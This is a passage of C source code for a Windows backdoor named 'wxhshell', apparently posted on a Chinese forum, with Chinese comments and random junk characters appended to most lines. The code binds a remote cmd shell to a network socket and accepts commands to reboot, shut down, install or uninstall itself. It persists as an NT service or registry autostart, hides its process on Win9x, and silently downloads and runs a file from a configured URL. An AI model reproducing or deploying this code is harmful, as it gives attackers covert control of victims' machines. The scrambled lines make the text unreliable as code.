  else { E7/UsUV.  
}&=l)\e  
    switch(cmd[0]) { )1Bz0:  
  Y9X,2L7V  
  // 帮助 K*j OrQf`  
  case '?': {  #B~ ;j5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zgjgEhnvU  
    break; mbbhz,  
  } 9ia&/BT7"z  
  // 安装 Z~Q5<A9Jz  
  case 'i': { _m?i$5  
    if(Install()) CbM~\6 R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YaS!YrpI  
    else C '[4jz0xF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5/P. 4<c7  
    break; t`Bk2Cc)+  
    } ThX3@o  
  // 卸载 u_WUJ_  
  case 'r': { ;U4O` pZ  
    if(Uninstall()) E|9`J00  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1sg:8AA  
    else @lDnD%vZ`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~s&r.6 DW  
    break; {H,O@  
    } T^^7@\vDI  
  // 显示 wxhshell 所在路径 HR?T  
  case 'p': { #L!`n )J"  
    char svExeFile[MAX_PATH]; w%`S>+kX&  
    strcpy(svExeFile,"\n\r"); ^!^M Gzu  
      strcat(svExeFile,ExeFile); r jn:E  
        send(wsh,svExeFile,strlen(svExeFile),0); [@qjy*5p  
    break; CP9Q|'oJ  
    } &V axv$v}  
  // 重启 W[I[Xg&  
  case 'b': { VTL_I^p  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O\Y*s  
    if(Boot(REBOOT)) -l}"DP _  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fPTLPcPP  
    else { nL^7t7mp  
    closesocket(wsh); 92Gfxld\  
    ExitThread(0); }f;TG:6  
    } a=ZVKb  
    break; TXYO{  
    } 91R7Rrne  
  // 关机 ASEKP(]v  
  case 'd': { nt_Cb*K<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U= GJuixy  
    if(Boot(SHUTDOWN)) T0fm6 J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j8Q_s/n  
    else { J0k!&d8  
    closesocket(wsh); .I|b9$V  
    ExitThread(0); p5rq>&"  
    } N:64Gko"K  
    break; < (9 BO&  
    } f8K0/z  
  // 获取shell !_+FuF"@  
  case 's': { 8[@Y`j8  
    CmdShell(wsh); fif'ptK  
    closesocket(wsh); 3s]o~I2x  
    ExitThread(0); ?2o+x D2  
    break; Vq#0MY)2gS  
  } HqqMX`Rof  
  // 退出 C+!=C{@7di  
  case 'x': { -h|[8UG^b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n=DmdQ}  
    CloseIt(wsh); %! Sjbh  
    break; {7X9P<<L7  
    } 8rJf2zL  
  // 离开 !j  #8zN  
  case 'q': {  \v:Z;EbX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  fZap\  
    closesocket(wsh); Xeja\5zB  
    WSACleanup();  m5J@kE%  
    exit(1); W4qT]m  
    break; _o?aO C  
        } ;O>zA]Z8r  
  } X/%!p<}:'  
  } Mf5*Wjz.Mc  
~_CZ1  
  // 提示信息 b~ig$!N]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~.e~YI80  
} Rbgy?8#9  
  } USgO`l\}4  
6R3/"&P(/#  
  return; R-iWbLD  
} F6DVq8f9  
;x|? N*  
// shell模块句柄 @Z""|H"0  
int CmdShell(SOCKET sock) n|.>41bJ  
{ lUnC+w#[  
STARTUPINFO si; W`#E[g?]  
ZeroMemory(&si,sizeof(si)); |gk"~D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Lrt~Q:z2u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h|z59h&X8G  
PROCESS_INFORMATION ProcessInfo; /_(l :q^  
char cmdline[]="cmd"; B.Z5+MgM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ! _ >/ r  
  return 0;  GVu-<R  
} bV)h\:oC  
N4yQ,tG>aa  
// 自身启动模式 ]xV2= !J  
int StartFromService(void) >Zm|R|{BE  
{ KAT^vbR  
typedef struct V22Br#+  
{ @-1VN;N  
  DWORD ExitStatus; d$MewDW UN  
  DWORD PebBaseAddress; @, z4{B  
  DWORD AffinityMask; !r*JGv=  
  DWORD BasePriority; R|O^7o  
  ULONG UniqueProcessId; eg"!.ol  
  ULONG InheritedFromUniqueProcessId; t<p4H^  
}   PROCESS_BASIC_INFORMATION; i~DLo3  
Io7 =Mc4  
PROCNTQSIP NtQueryInformationProcess; FePWr7Ze  
srU*1jD)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _>{"vY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Oh=Kl3xs  
mL s>RR#b  
  HANDLE             hProcess; w^ 8^0i-  
  PROCESS_BASIC_INFORMATION pbi; b~rlh=(o#_  
l2 #^}-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u&Xn#f h  
  if(NULL == hInst ) return 0; 3)dtl!VMW[  
rY=dNK]d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <qxqlEQT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x@VZJrQQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2cJ3b 0Xx  
.Dyxul  
  if (!NtQueryInformationProcess) return 0; u,S}4p&l  
Bn d Y\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $olITe"$g  
  if(!hProcess) return 0; /5 R?(-  
.t%` "C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -~=:tn)0  
3%V VG~[  
  CloseHandle(hProcess); lH oV>k  
1d~cR  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S6|L !pO  
if(hProcess==NULL) return 0; ! lm0zR  
F='rGQK!1  
HMODULE hMod; x4S0C[k  
char procName[255]; 'y:+w{I2o  
unsigned long cbNeeded; - z"D_5  
@I0[B<,:G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F,$ypGr  
0VlB7oF  
  CloseHandle(hProcess); ew6\Z$1c~  
9|LV x3]  
if(strstr(procName,"services")) return 1; // 以服务启动 zE4TdT1y|  
)XL}u4X  
  return 0; // 注册表启动 F$&{@hd  
} ;1woTAuD  
-D30(g{O  
// 主模块 !T8h+3 I  
int StartWxhshell(LPSTR lpCmdLine) D4CiB"g3*  
{ E6y ?DXW H  
  SOCKET wsl; D|R,$ v:  
BOOL val=TRUE; o;Ma)/P  
  int port=0; 1W2hd!J7C  
  struct sockaddr_in door; hNJubTSE+)  
niP/i  
  if(wscfg.ws_autoins) Install(); G8voqP  
$P%b?Y/  
port=atoi(lpCmdLine); vL:tuEE3  
XDrNc!XN  
if(port<=0) port=wscfg.ws_port; :raYt5n1,y  
nd1%txIsr  
  WSADATA data; #}{1>g{sXt  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cu V}<3&  
} h pTS_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *~%# =o  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \+B+M 7  
  door.sin_family = AF_INET; ir*T ,O 2J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8 m T..23  
  door.sin_port = htons(port); g<r'f"^  
4chSo.= 4V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6~j.S "  
closesocket(wsl); 3d@$iAw1<  
return 1; &7\q1X&Rr  
} ,5L[M&5  
^Q$U.sN? R  
  if(listen(wsl,2) == INVALID_SOCKET) { 4-:TQp(  
closesocket(wsl); K6Gri>Um  
return 1; 3bp'UEF^k  
} 'YcoF;&[C  
  Wxhshell(wsl); h (`Erb  
  WSACleanup(); [:!D.@h|  
` E2@GX+,  
return 0; szy^kj^2  
qs]7S^yw  
} .w`1;o  
P|Ojt I  
// 以NT服务方式启动 nUL8*#p-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'y?(s+  
{ MH>CCT  
DWORD   status = 0; FM3DJ?\L-  
  DWORD   specificError = 0xfffffff; =A,6KY=E  
;*Cu >f7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5)MVkJ=R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3d2|vQx,K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2Rp5 E^s  
  serviceStatus.dwWin32ExitCode     = 0; {T]^C  
  serviceStatus.dwServiceSpecificExitCode = 0; Lit@ m2{\  
  serviceStatus.dwCheckPoint       = 0; 9(>l trA  
  serviceStatus.dwWaitHint       = 0; 'o#ve72z1  
il \q{Y o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tp,e:4\ 8Q  
  if (hServiceStatusHandle==0) return; q+/c+u?=^  
xsq+RBJi  
status = GetLastError(); I3A@0'Vm;L  
  if (status!=NO_ERROR) S;vE %  
{ S 'jH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; G6N$^HkW?  
    serviceStatus.dwCheckPoint       = 0; eJB !|  
    serviceStatus.dwWaitHint       = 0; mE"?{~XVL  
    serviceStatus.dwWin32ExitCode     = status;  ;Q;u^T`  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q]Fm4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  lqO"  
    return; |uT&`0T'e`  
  } ptS1d$  
)|88wa(M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6O^'J~wiI  
  serviceStatus.dwCheckPoint       = 0; 7[wHNJ7)r  
  serviceStatus.dwWaitHint       = 0; ZX0ZN2 ]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H*DWDJxmV  
} QPf#y7_@u  
vxxa,KR/y  
// 处理NT服务事件,比如:启动、停止 a sDq(J`sQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Cz2OGM*mz?  
{ ^<8 c`k )e  
switch(fdwControl) \4RVJ[2  
{ Y~qv 0O6K  
case SERVICE_CONTROL_STOP: edh?I1/  
  serviceStatus.dwWin32ExitCode = 0; v(v Lk\K7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &R54?u^A  
  serviceStatus.dwCheckPoint   = 0; :>U2yI  
  serviceStatus.dwWaitHint     = 0; N`tBDl"ld  
  { fX,L;Se"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =#@eDm%  
  } }t tiL  
  return; gWo`i  
case SERVICE_CONTROL_PAUSE: AnV\{A^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1nv#Ehorg  
  break; lF]cUp#<  
case SERVICE_CONTROL_CONTINUE: *t{$GBP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /P*mF^Y  
  break; 6~KtT{MYQ  
case SERVICE_CONTROL_INTERROGATE: c?qg i"kS  
  break; fUh7PF%  
}; as1ZLfN.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vy-EY*r|  
} *xEcX6ZHX  
;\@co5.=  
// 标准应用程序主函数 Yx21~:9}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OW (45  
{ <#U9ih 2  
|=C&JA  
// 获取操作系统版本 @add'>)  
OsIsNt=GetOsVer(); {*VCR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); MP|J 0=H5  
[|ghq  
  // 从命令行安装 Ys@M1o  
  if(strpbrk(lpCmdLine,"iI")) Install(); bi:m;R  
LRO'o{4$E  
  // 下载执行文件 rlEp&"+|M  
if(wscfg.ws_downexe) { j9zK=eG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #}50oWE  
  WinExec(wscfg.ws_filenam,SW_HIDE); Byf5~OC  
} *Mf;  
}]1=?:tX%  
if(!OsIsNt) { c+PT"/3  
// 如果时win9x,隐藏进程并且设置为注册表启动 `=A*ei5  
HideProc(); Nf0'>`/  
StartWxhshell(lpCmdLine); +.N3kH  
} z4f\0uQ  
else +8e~jf3E1  
  if(StartFromService()) 2c>eMfa  
  // 以服务方式启动 -!uut7Z|  
  StartServiceCtrlDispatcher(DispatchTable); aRBTuLa)fo  
else s#,~Zb=  
  // 普通方式启动 S Rs~p  
  StartWxhshell(lpCmdLine); 808E)  
D9H(kk  
return 0; i>!7/o  
}
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只看该作者 1 发表于: 2006-10-10
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